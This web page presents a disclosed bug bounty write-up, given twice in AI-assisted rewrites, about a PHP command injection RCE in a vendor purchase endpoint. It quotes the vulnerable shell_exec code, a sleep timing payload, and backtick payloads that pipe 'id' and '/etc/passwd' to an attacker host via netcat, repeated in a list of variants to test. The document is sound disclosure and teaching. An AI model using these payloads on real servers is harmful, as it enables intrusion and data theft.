Skip to content
RCE Write-up Intermediate

Getting a RCE (CTF WAY)

The application passed a user-supplied user ID into a shell command without proper sanitisation, allowing an attacker to inject arbitrary commands. This enabled remote code execution, as demonstrated by executing a sleep command and exfiltrating the output of the id command.

Rojan Rijal Follow

Published on medium.com

Recently I was invited to a private program of a company. As a fresh start, I decided to look around and see what I could find.

Uranium238s, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

I was invited to a private program of a company, and this write-up covers a remote code execution bug I found on their server. Most of the details here are redacted to keep confidential information private, so endpoints and identifiers are renamed.

The feature at the centre of it was a purchase flow. An endpoint, which I will call endpoint_lvl1, was used to send a request to another vendor to buy some product. It needed the price of the product and the user id. The vendor side would either answer with something like Successfully bought the product and reduce the balance from the account, or with something like I could not get the user account. If you don't have a user account on this vendor, create one please. When there was no response from the vendor's server, the application returned a 500 Internal server error.

Setup

Before I could look around properly, the company required that I verify my account with some confidential information, so I reached out to their security engineers and team to ask how this could be done. Once the verification was done by adding some fake data, I moved on to hunting for severe vulnerabilities.

I had done recon beforehand, and that recon had confirmed that they had RCE and that it should not be hard to find. I also had basic experience of PHP, which mattered later when I laid out possible source code for the purchase endpoint to visualise what was happening.

Finding it

When I first started in this app, I had a gut feeling, combined with the recon, that I could get a RCE. It was just a matter of where and how. As I always do, I played with the app for a while and made a list of features that could have this vulnerability.

File upload was at the top of my list. I tried some steps to upload PHP or even HTML, just to see if I could upload a file. Security on file uploads was pretty tight, so I decided to move on.

That is when I turned to endpoint_lvl1. It sent my product price and user id to the vendor. In PHP this can be done in multiple ways: a curl request, a simple API request and many more. Since the endpoint was likely using an API or some form of request, I wrote out possible source code for that part so I could visualise the code as it happened.

Two behaviours stood out. First, the request to the vendor never showed up on Burp. Second, while other things might change, the length of the user id was always the same. If it was shorter than that, the application sent an error asking the user to Put a valid user id.

Because I knew the code was PHP and that the target was vulnerable to RCE, I eliminated some options. Getting RCE through an API would be hard unless there was some really shady stuff going on there. So I went with something that no one could have possibly thought of:

  1. Curl
  2. file_get_contents
  3. and, if it is really vulnerable, how about having a shell_exec() or system()

I tested each one. I created a local instance on my server with vulnerable PHP of each type to get RCE, so that I could try a small payload and see how it worked for each. Curl and file_get_contents did not work. shell_exec() kept bugging me on how it could potentially work.

The fact that the vendor request never appeared in Burp fitted the shell_exec() theory: something like shell_exec('curl {website with request}') would mean the request never goes to Burp, while the system is still able to run the cURL request.

Exploitation

Step 1: Work out the shape of the vulnerable code

A sample of the activity would look like this:

  1. The user enters the ID which will be used to buy the product.
  2. The ID is then sent to the external website in a format like this:
PHP
shell_exec('curl -X POST -d "strCommand=GETUSERINFO'.'&strParam1='.'|user='.$_POST['user_id'].'|" '.$url.' -k');

In the sample code, the user id is concatenated straight into a string that is handed to shell_exec(), which runs a curl request to the vendor.

Step 2: Bypass the user id check

The ID was supposed to be 7 characters long, but the application did not check whether the ID was an int or a string. It simply checked the first character to deduce that it was an int. So an ID of the form 1xxxxxx would pass the check.

Step 3: Confirm command execution with a delay

With a request shaped like the sample above, I sent this payload:

Text
1xxxxxxxxxx`sleep 5`

The payload bypasses the string check and at the same time allows me to run a command through shell_exec(). Once the request was sent, there was a delay of 5 seconds.

Step 4: Exfiltrate the server user id

Next I sent:

Text
1xxxxxxxxxxxxx`id | nc {my_ip} 80`

The server successfully sent back the server user id, which could be something like:

Text
uid=0(root) gid=0(root) groups=0(root)

Step 5: Read a file

After that, I launched a request for /etc/passwd and got its content as well with this payload:

Text
1xxxxxxxxxxxxx`cat /etc/passwd| nc {my_ip} 80`

Root cause

The likely cause is that the user id from $_POST['user_id'] is concatenated directly into a string passed to shell_exec(), with no escaping or validation of shell metacharacters. The only check on the value was a check of the first character to decide that it was an int, so a value starting with 1 and containing backticks passed. Backticks in PHP execute their contents as a shell command, so the injected command ran on the server alongside the intended curl call.

The fact that the outbound vendor request never appeared in Burp is consistent with the request being made by curl inside shell_exec() rather than by the application's own HTTP client, which is what pointed me at this code path in the first place.

Impact

Under the conditions above, an attacker who can reach the purchase endpoint and submit a user id can run arbitrary shell commands on the server. In this case the commands ran as root: the id output was uid=0(root) gid=0(root) groups=0(root), and I was able to read /etc/passwd. The report does not describe any further use of the access.

Fix

The report does not say what change was made. The vulnerability was fixed on July 8, 2017.

Timeline

Dates and times are from the HackerOne system.

Time Event
July 3, 2017 03:37:23 Report submitted
July 3, 2017 03:47:20 Report triaged
July 3, 2017 03:58:44 A pretty detailed write-up about how this works was sent
July 8, 2017 Vulnerability fixed

Variants to test

  • Look for endpoints that make outbound requests to third parties. If the request never appears in your proxy but the vendor still receives it, suspect a shell call such as shell_exec('curl ...') rather than an HTTP client library.
  • Test user id and similar numeric-looking parameters with a leading digit followed by shell metacharacters, for example backticks, ;, | or $(), and watch for time delays with a sleep payload.
  • Check whether validation only inspects the first character or the length of a value. A positive result is a value that passes validation but still reaches the shell.
  • Try out-of-band confirmation with a listener you control, for example `id | nc {your_ip} 80`, and look for command output arriving at your listener.
  • Try file reads through the same injection point, for example `cat /etc/passwd| nc {your_ip} 80`, and look for the file contents arriving at your listener.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher was invited to test a private bug bounty program, which is a scheme where a company lets selected researchers try to break into its systems and pays them for finding problems. While exploring the company's web application, he found a way to make the company's server run commands of his choosing. This kind of bug is called remote code execution, usually shortened to RCE. In everyday terms, it is like finding that a shop's order form does not just record what you write on it, but actually reads your handwriting out loud to a robot in the back room, and the robot does whatever you wrote. If you write "open the safe", the robot opens the safe.

The bug was in a purchase feature. The application took a user id that the customer typed in and passed it, without proper cleaning, into a command that the server ran. By putting special characters in the user id, the researcher could make the server run extra commands, including commands that sent information back to a machine he controlled. The id command showed the commands ran as the root account, the administrator account on Linux systems.

Most of the details in the report are redacted, meaning the researcher removed or renamed confidential information such as the real endpoint names and identifiers. The endpoint at the centre of the story is therefore called endpoint_lvl1.

Background: the app and the purchase feature

The feature at the centre of it was a purchase flow. An endpoint, which the researcher calls endpoint_lvl1, was used to send a request to another vendor to buy some product. An endpoint is simply a specific address inside a web application that does one job, like a counter in a shop: you go to the counter for returns, a different counter for payments. A vendor here means a separate company or service that the application talks to behind the scenes, for example to check whether a customer exists and to complete a purchase.

The endpoint needed two pieces of information: the price of the product and the user id. A user id is a short identifier for a customer, usually a number or a short string of characters.

The vendor side would answer in one of two ways:

  • something like Successfully bought the product, and the balance would be reduced from the account, or
  • something like I could not get the user account. If you don't have a user account on this vendor, create one please.

When there was no response from the vendor's server, the application returned a 500 Internal server error. A 500 error is a standard HTTP status code meaning the server itself hit an unexpected problem while handling the request. HTTP is the language browsers and servers use to talk to each other; status codes are short numbers that summarise the result, with 200 meaning fine and 500 meaning the server broke.

Setting up access

Before the researcher could look around properly, the company required that he verify his account with some confidential information, so he reached out to their security engineers and team to ask how this could be done. Once the verification was done by adding some fake data, he moved on to hunting for severe vulnerabilities. A vulnerability is a weakness in software that someone can abuse to make it behave in a way its creators did not intend.

He had done reconnaissance beforehand. Reconnaissance, or recon, is the information-gathering phase: looking at how an application behaves, what technologies it uses, and what features it exposes, before trying to break anything. That recon had confirmed that the company had RCE somewhere and that it should not be hard to find. He also had basic experience of PHP, a programming language commonly used to build websites. That experience mattered later, when he wrote out possible source code for the purchase endpoint to visualise what was happening. Source code is the human-readable text that programmers write; the server runs it to produce the pages you see.

Finding it

When he first started in this app, he had a gut feeling, combined with the recon, that he could get an RCE. It was just a matter of where and how. As he always does, he played with the app for a while and made a list of features that could have this vulnerability.

File upload was at the top of his list. A file upload feature lets you send a file from your computer to the server, for example a profile picture. If the server accepts a file and then runs it as a program, an attacker can upload a small program and take over the server. He tried some steps to upload PHP or even HTML, just to see if he could upload a file. HTML is the language web pages are written in; a plain HTML file is harmless on its own, but it can be used in some attacks. Security on file uploads was pretty tight, so he decided to move on.

That is when he turned to endpoint_lvl1. It sent the product price and user id to the vendor. In PHP this can be done in multiple ways: a curl request, a simple API request and many more. An API, short for application programming interface, is a defined way for one piece of software to ask another for something, like a waiter taking your order to the kitchen: you do not walk into the kitchen yourself, you use the agreed menu and the waiter carries the message. Curl is a command-line tool, and also a library inside PHP, for making those requests.

Since the endpoint was likely using an API or some form of request, he wrote out possible source code for that part so he could visualise the code as it happened. Writing out what the code probably looks like is a common technique: it turns a black box into something you can reason about.

Two behaviours stood out:

  1. The request to the vendor never showed up on Burp. Burp, short for Burp Suite, is a tool that sits between your browser and the server and records every request and response, so you can inspect and modify traffic. If the application makes a request to a third party and that request does not appear in Burp, the request is probably not being made by the browser or by the application's normal HTTP client. Something else is making it.
  2. While other things might change, the length of the user id was always the same. If it was shorter than that, the application sent an error asking the user to Put a valid user id. In other words, the application checked the first character of the value rather than checking what the value actually was.

Because he knew the code was PHP and that the target was vulnerable to RCE, he eliminated some options. Getting RCE through an API would be hard unless there was some really shady stuff going on there. So he went with something that no one could have possibly thought of:

  1. Curl
  2. file_get_contents
  3. and, if it is really vulnerable, how about having a shell_exec() or system()

These are all PHP functions, meaning built-in pieces of code you can call by name. file_get_contents() reads the contents of a file or a web address into a variable. shell_exec() and system() run a command on the operating system's shell, which is the program that accepts typed commands and executes them. If user input reaches one of those two, the user can run commands.

He tested each one. He created a local instance on his own server with vulnerable PHP of each type to get RCE, so that he could try a small payload and see how it worked for each. A payload is the actual malicious input you send. Curl and file_get_contents did not work. shell_exec() kept bugging him on how it could potentially work.

The fact that the vendor request never appeared in Burp fitted the shell_exec() theory: something like shell_exec('curl {website with request}') would mean the request never goes to Burp, while the system is still able to run the cURL request. In plain terms, the server was probably running a curl command itself, from inside a shell, rather than using the normal web request machinery that Burp can see.

Exploitation

Step 1: Work out the shape of the vulnerable code

A sample of the activity would look like this:

  1. The user enters the ID which will be used to buy the product.
  2. The ID is then sent to the external website in a format like this:
PHP
shell_exec('curl -X POST -d "strCommand=GETUSERINFO'.'&strParam1='.'|user='.$_POST['user_id'].'|" '.$url.' -k');

Line by line, in plain words:

  • shell_exec(...) is the PHP function that hands a string to the operating system's shell and runs it as a command.
  • 'curl -X POST -d "strCommand=GETUSERINFO' is the beginning of the command. curl is the tool making the request. -X POST says to use the POST method, which is the HTTP method used when a browser submits a form with data. -d says the next part is the data to send.
  • .'&strParam1='. glues more text onto the string. The dot in PHP joins strings together, like adding beads to a necklace. & separates parameters in a form-style body, and strParam1 is the name of one of them.
  • .'|user='.$_POST['user_id'].'|"' is the important part. $_POST['user_id'] is the value the user typed into the form field named user_id. It is inserted directly into the command string with no cleaning. The | characters around it are pipe characters, which the shell treats as separators between commands.
  • '.$url.' appends the vendor's address.
  • ' -k' adds the -k flag to curl, which tells curl not to verify the TLS certificate. TLS is the encryption layer behind HTTPS; skipping verification means curl will accept a certificate it cannot confirm is genuine.

The key point is that the user id is concatenated straight into a string that is handed to shell_exec(). Concatenated means joined end to end. Whatever the user types becomes part of a command that the server runs.

Step 2: Bypass the user id check

The ID was supposed to be 7 characters long, but the application did not check whether the ID was an int or a string. An int is a whole number, like 42; a string is text, like hello. It simply checked the first character to deduce that it was an int. So an ID of the form 1xxxxxx would pass the check: it starts with 1, so the application assumes it is a number. The x characters are placeholders for any characters.

This is a classic validation mistake: checking the shape of a value instead of what it actually contains. It is like a bouncer who only checks that you are wearing a suit, not whether you have a ticket.

Step 3: Confirm command execution with a delay

With a request shaped like the sample above, he sent this payload:

Text
1xxxxxxxxxx`sleep 5`

Line by line:

  • 1xxxxxxxxxx is the part that passes the length and first-character checks. It looks like a number because it starts with 1.
  • The backtick character, `, has a special meaning in the shell: whatever is between two backticks is run as a command, and its output is substituted into the surrounding text. So `sleep 5` runs the command sleep 5.
  • sleep 5 is a standard command that does nothing for five seconds. It is a harmless way to prove that your command actually ran: if the response takes five seconds longer than usual, the server executed your command.

The payload bypasses the string check and at the same time allows him to run a command through shell_exec(). Once the request was sent, there was a delay of 5 seconds. That delay was the confirmation.

Step 4: Exfiltrate the server user id

Next he sent:

Text
1xxxxxxxxxxxxx`id | nc {my_ip} 80`

Line by line:

  • 1xxxxxxxxxxxxx again passes the checks.
  • ` starts a command substitution.
  • id is a standard command that prints which user the current process is running as, along with its group memberships.
  • | is a pipe: it takes the output of the command on the left and feeds it as input to the command on the right.
  • nc {my_ip} 80 runs nc, short for netcat, a simple networking tool. It connects to the address {my_ip} on port 80 and sends whatever it receives. Port 80 is the standard port for plain HTTP. {my_ip} is a placeholder for the researcher's own server address, which is redacted here.
  • The closing backtick ends the command substitution.

The server successfully sent back the server user id, which could be something like:

Text
uid=0(root) gid=0(root) groups=0(root)

This output means the command ran as the root user, the administrator account on Linux, with group id 0. In other words, the injected command had the highest possible privileges on the machine.

Step 5: Read a file

After that, he launched a request for /etc/passwd and got its content as well with this payload:

Text
1xxxxxxxxxxxxx`cat /etc/passwd| nc {my_ip} 80`

Line by line:

  • 1xxxxxxxxxxxxx passes the checks as before.
  • ` starts the command substitution.
  • cat /etc/passwd prints the contents of the file /etc/passwd. On Linux, this file lists the user accounts on the system. It does not contain passwords in the modern format, but it is a standard file to read when proving that you can read files on a server.
  • | nc {my_ip} 80 pipes that output to netcat, which sends it to the researcher's server.
  • The closing backtick ends the substitution.

Reading a file this way proves that the attacker can not only run commands but also take data out of the server.

Root cause

The likely cause is that the user id from $_POST['user_id'] is concatenated directly into a string passed to shell_exec(), with no escaping or validation of shell metacharacters. Shell metacharacters are characters like backticks, ;, | and $() that the shell treats as instructions rather than as plain text. The only check on the value was a check of the first character to decide that it was an int, so a value starting with 1 and containing backticks passed. Backticks in PHP execute their contents as a shell command, so the injected command ran on the server alongside the intended curl call.

The fact that the outbound vendor request never appeared in Burp is consistent with the request being made by curl inside shell_exec() rather than by the application's own HTTP client, which is what pointed him at this code path in the first place.

Impact

Under the conditions above, an attacker who can reach the purchase endpoint and submit a user id can run arbitrary shell commands on the server. In this case the commands ran as root: the id output was uid=0(root) gid=0(root) groups=0(root), and he was able to read /etc/passwd. The report does not describe any further use of the access.

Fix

The report does not say what change was made. The vulnerability was fixed on July 8, 2017.

Timeline

Dates and times are from the HackerOne system.

Time Event
July 3, 2017 03:37:23 Report submitted
July 3, 2017 03:47:20 Report triaged
July 3, 2017 03:58:44 A pretty detailed write-up about how this works was sent
July 8, 2017 Vulnerability fixed

Triaged means the company's security team reviewed the report and confirmed it was a real issue worth working on.

Variants to test

If you want to look for similar bugs yourself, here are the patterns to try. These are general hunting ideas, not claims about this specific application.

  • Look for endpoints that make outbound requests to third parties. If the request never appears in your proxy but the vendor still receives it, suspect a shell call such as shell_exec('curl ...') rather than an HTTP client library. A proxy is a tool that sits between your browser and the server and records traffic, like Burp.
  • Test user id and similar numeric-looking parameters with a leading digit followed by shell metacharacters, for example backticks, ;, | or $(), and watch for time delays with a sleep payload. A delay is the safest first signal: it proves execution without needing to receive any data.
  • Check whether validation only inspects the first character or the length of a value. A positive result is a value that passes validation but still reaches the shell.
  • Try out-of-band confirmation with a listener you control, for example `id | nc {your_ip} 80`, and look for command output arriving at your listener. Out-of-band means the result comes back through a different channel than the normal response, here a connection to your own machine.
  • Try file reads through the same injection point, for example `cat /etc/passwd| nc {your_ip} 80`, and look for the file contents arriving at your listener.

Glossary

  • API: a defined way for one piece of software to ask another for something, like a menu and a waiter between you and the kitchen.
  • Backtick: the ` character; in the shell it runs the text between two backticks as a command and substitutes the output.
  • Burp (Burp Suite): a tool that sits between your browser and a server and records every request and response so you can inspect and modify them.
  • Concatenate: join strings end to end, like adding beads to a necklace.
  • Curl: a tool and PHP library for making HTTP requests from the command line or from code.
  • Endpoint: a specific address inside a web application that performs one job.
  • file_get_contents(): a PHP function that reads the contents of a file or a web address into a variable.
  • HackerOne: the bug bounty platform whose system supplied the timeline dates and times.
  • HTML: the language web pages are written in.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • Int: a whole number, like 42.
  • Netcat (nc): a simple networking tool that can connect to an address and port and send or receive data.
  • Out-of-band: a technique where the result of an attack comes back through a different channel than the normal response, for example a connection to a server you control.
  • Payload: the actual malicious input you send to trigger a vulnerability.
  • PHP: a programming language commonly used to build websites.
  • Pipe (|): a shell character that feeds the output of the command on the left into the command on the right.
  • Port: a numbered channel on a machine; port 80 is the standard port for plain HTTP.
  • POST: an HTTP method used when a browser submits data, for example a form.
  • Proxy: a tool that sits between your browser and the server and records traffic, like Burp.
  • RCE (remote code execution): a vulnerability that lets an attacker make a remote server run commands of their choosing.
  • Recon (reconnaissance): the information-gathering phase before attacking, looking at how an application behaves and what it exposes.
  • Root: the administrator account on Linux, with the highest level of permission.
  • shell_exec(): a PHP function that hands a string to the operating system's shell and runs it as a command.
  • Shell: the program on an operating system that accepts typed commands and executes them.
  • Shell metacharacters: characters like backticks, ;, | and $() that the shell treats as instructions rather than plain text.
  • Source code: the human-readable text programmers write, which the server runs to produce pages.
  • String: text, like hello.
  • system(): a PHP function that runs a command on the operating system's shell, similar to shell_exec().
  • TLS: the encryption layer behind HTTPS; certificates prove a server's identity.
  • Triaged: reviewed by the company's security team and confirmed as a real issue worth working on.
  • User id: a short identifier for a customer, usually a number or a short string.
  • Vendor: a separate company or service that the application talks to behind the scenes.
  • Vulnerability: a weakness in software that someone can abuse to make it behave in a way its creators did not intend.
  • 500 Internal server error: an HTTP status code meaning the server hit an unexpected problem while handling the request.

More by Rojan Rijal

View all

20 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.